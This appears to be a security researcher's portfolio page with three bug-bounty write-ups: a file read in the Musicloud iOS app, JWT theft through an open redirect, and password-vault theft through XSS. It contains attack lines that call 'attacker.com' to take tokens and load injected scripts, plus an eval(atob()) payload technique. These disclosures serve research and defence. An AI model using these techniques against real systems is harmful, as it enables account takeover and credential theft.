• Twitter
  • FB
  • Github
  • Youtube

About me

Let me introduce myself

A bit about me

i'm Shawar Khan.

With over 4 years of experience, I've identified major security vulnerabilities in the world's well-known companies including Google, Microsoft, Apple, PayPal. Acknowledged by over hundreds of companies and listed in over +100 Halls of Fame.


Shawar Khan

Personal info

Shawar Khan

A Security Researcher at HackersRay, Bug Bounty Hunter and Red Team Member at Synack inc.

Acknowledgements: List Here

Hackerone: View Hackerone profile

BugCrowd : View Bugcrowd profile

Skills & Things about me

Web Application
Penetration Testing
Mobile App
Penetration Testing
Exploit Writing


My recent research work

Sunday, February 17, 2019

CVE-2019-8389 - Arbitrary file read in Musicloud v1.6

Greetings everyone, this is Shawar Khan and today I am going to share a vulnerability that I found in an iOS application named Musicloud v1.6. This is a music player that allows users to store and play music from different sources. Music can be imported from different areas such as Dropbox, Google Drive and Computer as well. In order to transfer the music between the phone and the computer a user have to turn on Wifi-Transfer feature:
By default the services runs on port 8080 on the IP address of the mobile phone which in this case is Anyone on the entire network can access the WIFI-transfer service on port 8080. Accessing the port 8080 will return the following page:

The application uses the following endpoints to perform Upload & Download functions:
  • /download.script - used for downloading a music
  • /upload.script - used for uploading a music
 If we download a single music such as music-1.mp3 then it will send a GET request to but when 2 selected files are downloaded, the following request is made:

POST /download.script HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 141
Connection: close


This will create a MusicPlayerArchive.zip file with the content of music-1.mp3 & music-2.mp3 so accessing will return the zip file with the content of 2 music files.Also, the empty value of "cur-folder" specifies the current directory so if its empty it means we are requesting content from the path ./ so in the case above it is requesting the file from path ./music-1.mp3.

As we are able to control the path, we can request any file by simply setting the path along with the specified file. So in order to request the file /etc/passwd we will set the following values to the specified parameters:

So we will just simply make a request to download.script using the values mentioned above in order to create a MusicPlayerArchive.zip with the content of /etc/passwd:
POST /download.script HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close


and we will get the content of the file by requesting the MusicPlayerArchive.zip:

and we were successfully able to read /etc/passwd of the victim's iPhone. Thats how this vulnerability was exploited. I wrote a little exploit to automate the entire process and it will be available on exploit-db:

The exploit can be seen below:

Sunday, January 27, 2019

Hijacking accounts by retrieving JWT tokens via unvalidated redirects

About the writeup 

Greetings everyone hope you are doing well, its been a while since my last write-up. After some busy days I decided to give back to the community. Today, I'm going to share an interesting write-up of a vulnerability that I found in a bug bounty program. Basically the root issue is the Unvalidated redirection but I decided to take it further than just a redirection so lets start.

Getting to know the application

When targeting a company or an application the first thing is to identify the application flow and working of its mechanisms. Testing for a list of vulnerabilities without understanding the application doesn't make any sense to me so I started to test the unauthenticated areas. Before going further, I want to tell you guys that I divide the application into 2 parts. The first one includes the areas that doesn't require authentication and then the areas that requires authentication this way we can easily perform proper testing among those. So, one other important thing is the login mechanism.

Understanding the Login process

Understanding the login process is a very important when performing a penetration test. If we can understand the login flow, it is easy to crack our way into the accounts. When testing logins, see how the application reacts when correct credentials are given. In some cases the application just takes credentials and returns the cookies that is called cookie-based authentication where as in some cases the application returns a valid token such as JWT which is used to authenticate to areas. If a user is being authenticated by cookies our main goal should be targeting them and making a way to steal them but in my case a valid passwords returns a JWT token which was being used to interact with the APIs. So, in my case the authentication flow was "token-based" and in a nut-shell, If I'm having a valid token of victim then the application will recognize me as the victim. Have a look at this article to know different authentication flows.

One-time usable JWT token

Upon a valid login, the application does a 302 Redirect towards /dashboard with the GET parameters token & email. The token parameter holds a JWT token that is only usable for a single time. This token will be used to communicate with an API endpoint token which is located at /aapi/v1/authentications/token to receive a permanent JWT token .

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: http://secure.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie: ...

Reusable JWT Token

After the first token is received the application sends a GET request to /aapi/v1/authentications/token with the first JWT token in the Authorization header:

GET /aapi/v1/authentications/token HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI
content-type: application/json
origin: https://secure.site.com
Connection: close

This request will return a Permanent JWT token that will be used throughout the entire API.

"jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY",
"user": {
"id": 1,
"first_name": "Demo",
"last_name": "User",
"email": "demo@site.com",
"created_at": "2016-01-27T16:17:32.832Z"

Now this is the second JWT token that is received and this is used in all the API endpoints. The previous JWT token that was received via the redirection can not be used multiple times our main focus will be stealing the second token that was received in the response of /token.

Unvalidated redirection on all domains

During my testing I explored different subdomains of the application and found that a subdomain that was a having forum. In order to use the forum the application requires an authenticated user so in order to authenticate the user the application returned me back to secure.site.com which was the domain where I was testing the authentication mechanism. This was confirmed that all authentication of the subdomains and other areas were covered by a single authentication mechanism that was located in secure.site.com. So if I simply login, the application will return me back to forum.site.com authenticated!

This was interesting and I found that there was some redirection being done. I identified how the application knew I was on the Forum subdomain, sometimes its the referrer header based on which the application redirects by in my condition I found that when I was sent to secure.site.com a new GET parameter named my_results_redirect was also sent along. So my initial location before redirecting to forum was /login?my_results_redirect=https://forum.site.com/

Now after performing the login with the "my_results_redirect" having the value https://forum.site.com, I found that the application had the following response:

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache

I found that I was able to tamper the redirection area of token by manipulating the value of my_results_redirect parameter. So if its value is set to https://shawarkhan.com then the application will redirect the user to https://shawarkhan.com. The my_results_redirect parameter was processed on all the subdomains so all domains were having unvalidated redirect but as our target was secure.site.com I kept my focus on it.

Retrieving the one-time-use JWT:

So if a crafted URL is visited by an authenticated user, I will receive the JWT on my host. A quick python -m SimpleHTTPServer 80 and after a victim visited https://secure.site.com/login?my_results_redirect=http%3A%2F%2fattacker.com%2Fdashboard , I received the first JWT token!

Retrieved the first JWT token

Now it was time to make a request to /aapi/v1/authentications/token to receive a final JWT token. I made the request and found that the request was rejected. It was a bit confusing moment as the entire process was properly followed. I followed each step and found it was not working properly and I wasn't able to obtain the second JWT token. Aha! Protections?

Some 0.01% protections?

I found that the developers had implemented some minor protections in order to prevent unauthorized use of the first token. Even I followed the same steps that the application was doing so the reason why my request was being rejected was the delay. The application directly sends the token to the API just after its generated so there is a very little delay between the generation time and the time at which its sent to the API.  The followings were some minor issues:
  • Token was one time usable
  • Token expires within a few seconds
In order to get rid of expiration issues, I automated a few steps using the python code below:

The code communicates with the /token API endpoint and retrieves the JWT token from the response which is further used to communicate with the API endpoints. The entire application was using the API to change account information and for other functions.

Permanent JWT token retrieved

Time to play

Now using the permanent JWT token it was possible to communicate with the APIs as now we had victim's JWT token. There was an API endpoint /aapi/v1/users/1 which accepts a PUT reques. It was possible to manipulate victim's email address to attacker's email address and afterwards changing password via email will result in a complete account compromise. By sending the following request with vicitm's JWT token, I was able to change victim's email to attacker@shawarkhan.com:

PUT /aapi/v1/users/1 HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer Victims_JWT_here
content-type: application/json
origin: https://site.com
Content-Length: 200
Connection: close


So thats how I was able to completely hijack victim's account. Make sure to share this write-up to let people know how risky redirections vulnerabilities can be. These kind of vulnerabilities are often neglected and ignored most of the times and are sometimes considered low-risk.

Know your target, understand how it works. Find a vulnerability and exploit it to its max to know its limits!  - Shawar Khan

Wednesday, August 22, 2018

The dark side of XSS and hacking into Password Vault

Greetings everyone, been a long time since my last Write-up. Today, I want to share something really interesting with you guys. You guys might have used many kinds of Passwords Vaults/Managers that helps you store passwords of different kinds of websites such as Facebook, Gmail and other accounts. So, the vault should be protected enough to secure your data right?

The Scenario

In the scenario that I experienced was having the same functionality, but in addition to account owns passwords, it was also having passwords of company employees. The interesting thing is I was able to hack into the Password Vault that stores user passwords by exploiting a Cross-Site Scripting vulnerability that I found in the same domain.

So, whenever I test an application the first thing is that I identify what kind of company am I targeting. In this case this was the Password Manager, so as you all know it is a vault that stores passwords. The "Passwords" are the sensitive data that it (tries to) protect. Capturing and retrieving those passwords was my initial goal.

2 records added to Password Vault containing account passwords

The flow of application

In order to understand how the application is working, we need to understand its functionality and its flow. We need to understand how data is retrieved and from where is it retrieved. 

After carefully observing the application and going through each and every request I found that the application was retrieving different information from the API that was located at /api/ of the application. 

After a bit of crawling and spidering through the application I found some API endpoints:

API Endpoints to look into

As the application was fully interacting with the APIs, I understood the flow as each endpoint was returning some value and information such as record ID, session token and other things. Let me explain some of the APIs that i though might help in achieving my goal.

The records/all endpoint

An endpoint that was located at /api/v3/records/all and it was accepting a GET request. Once a GET request is sent while being authenticated, it returns JSON objects having record ids and other information related to available records.

JSON response from /api/v3/records/all

The passwords/record endpoint

This endpoint was basically located at /api/v1/passwords/record . After the record IDs were retrieved from the record/all endpoint, this endpoint is used to retrieve passwords and full information from those specific record IDs.

In our case we got the following record IDs:

  • 526882 - ID for "Facebook Account" record
  • 526883 - ID for "Google Email" record

If a user clicks on the "Facebook Account" record, a POST request to /api/v1/passwords/record will be sent using the following JSON data having the record ID 526882:
Record ID being sent to API for retrieving full record information
and this will return the following information for the specified ID:
Full information of specified Record ID returned by the endpoint leaking Password & Usernames.
Now we know how IDs are being retrieved and how their data is returned but the issue is the application sends a CSRF token with every POST request that is sent to the API. A "token" should be present in the request in order to validate the session of the user.

The session/token endpoint

So in order to find out how that token was made. I looked up other endpoints to see if there was anything informative and I found that the API endpoint located at /api/v1/session/token was responsible for the generation of CSRF tokens. 

Making a GET request to the endpoint returns the following response:
Session/CSRF token returned by API endpoint

Loading the Weapon 

Now that we came to know about the flow of the application and the endpoints that are being used for exchange of data. We need to somehow obtain information from the following endpoints:
  • Session Token from /api/v1/passwords/record
  • Record IDs from /api/v3/records/all
  • Record Information from /api/v1/passwords/record

In order to obtain information from the endpoints, a simple trick would be exploiting some misconfigured CORS but the application doesn't seems to be using it for resource sharing.

The other possibility was to find XSS vulnerability somewhere on the same domain in order to get rid of Same-Origin Policy(SOP). Else all of our XHR calls will be vanished and rejected due to violation of SOP.

So, after a while I was successfully able to get XSS at an email activation page where user supplied email was reflecting back improperly.

So let me give the world's most common demonstration of an XSS:
A popup without actual demonstration of risk

Alright, we just got ammo for our weapon. Now no need to worry about the SOP and we can easily make XHR calls in order to communicate with the APIs in the same way the application did.

Replicating the application flow

Now that we have all the things required, we have to replicate the application flow. In order to make an XSS exploit that replicates the application flow and grabs all the information needed we need to make sure it proceeds in the same way.

First, we will use the javascript function fetch() in order to make a GET request to /api/v3/records/all in order to obtain all the record IDs:
Using fetch() to retrieve record IDs from the API

after the records are grabbed the next thing is to get the session token in order to make POST requests. I also converted the response of records to JSON and called the value of record ID directly from the JSON object. A fetch() was used for sending a GET request for capturing the token and retrieving its value from the JSON object:

A fetch() being used for retrieving session_token as seen on line #20

Now we got the "session_token" & the "record IDs". Now all we have to do is to is to send a POST request having the "record ID" to /api/v1/passwords/record. I'll use the XHR to send a POST request with a specified record ID. I will loop through the record IDs so each record information will be retrieved one by one:

As you can see from line #30-34, XHR is being configured with proper details. On the line #45 the values are placed in a proper form {"id":record_ID_here,"is_organization:false} and the request is made afterwards.

Once the request is made, the response will be parsed and values will be grabbed such as Title, URL, Username, Password from the response. The values will be then added to a dummy variable "data_chunks" for final processing.

Storing data chunks to a dummy variable

After the dummy variable is filled with collected data, it will be converted to base64 to avoid conflicts of bad characters and will be sent to attacker's host.

Sending collected data as base64

Note: There are many other methods to properly send the grabbed data but in order to demonstrate i'm using a simple way such as directly sending the base64 encoded data. Sending data via POST to a specific file would also be an exciting option.

Aiming & Shooting the target

Now that our exploit is completed, we have to inject it into the vulnerable area of XSS.  There are 2 simply tricks that can be used when exploiting an XSS.

  • Hosting your javascript exploit on external host ( You might have to set up CORS in order to make it accessible )
  • Including the payload directly with eval and atob
For the first technique, the external JS needs to be loaded via newly injected <script src="http://attacker.com/path_to_exploit.js"></script>. This method is efficient when handling large exploit code and for some extra anonymity ( Exploit code won't be logged in server )

The second method is quick and can be used for handling short payloads. I'll be using the following payload:

Base payload to use

now simply replace atob()'s value with our base64 encoded source code will do the trick. First our payload will be base64 decoded by atob and then it will be executed using eval().

So here is the final payload:
Final payload ready for execution

Note that some people will say its a kind of large payload, obviously it is but still we can just load the .js from external Host but in order to avoid setting up CORS, I'm using this technique.

Now i'll just host a exploit.html file having the following code:

HTML file for making a redirection to a larger URL

Now simply giving a URL for exploit.html, the attacker can make a user redirect form http://attacker.com/exploit.html to the page where large payload is injected.

As a result, we will get the data to our host that we configured for retrieving data:

Exploit successful! Vault information retrieved.

From the screenshot above, you can clearly see that the records stored in the Password Vault were finally retrieved and we successfully exploited and escalated the impact of an XSS vulnerability!

The purpose for this write-up was to clarify that:

XSS isn't just a popup, XSS vulnerability can lead to serious damage if properly exploited. Even if it's demonstrated via a harmless popup execution still it poses a risk.

If you guys love this write-up, Share! :)

Btw, I've uploaded my exploit-code here so you can review: https://gist.github.com/shawarkhanethicalhacker/e40a7c3956fdd24b9fb63d03d94c3d34


What can I do

Web-App Penetration Testing

Provides a complete Penetration Test against the web application in order ensure its safety.

Android App Penetration Testing

Provides Android Application Penetration Testing in order to make the app & secure.

iOS App Penetration Testing

Provides iOS Application Penetration Testing in order to make the app & secure.

Want to contact?

Get in touch with me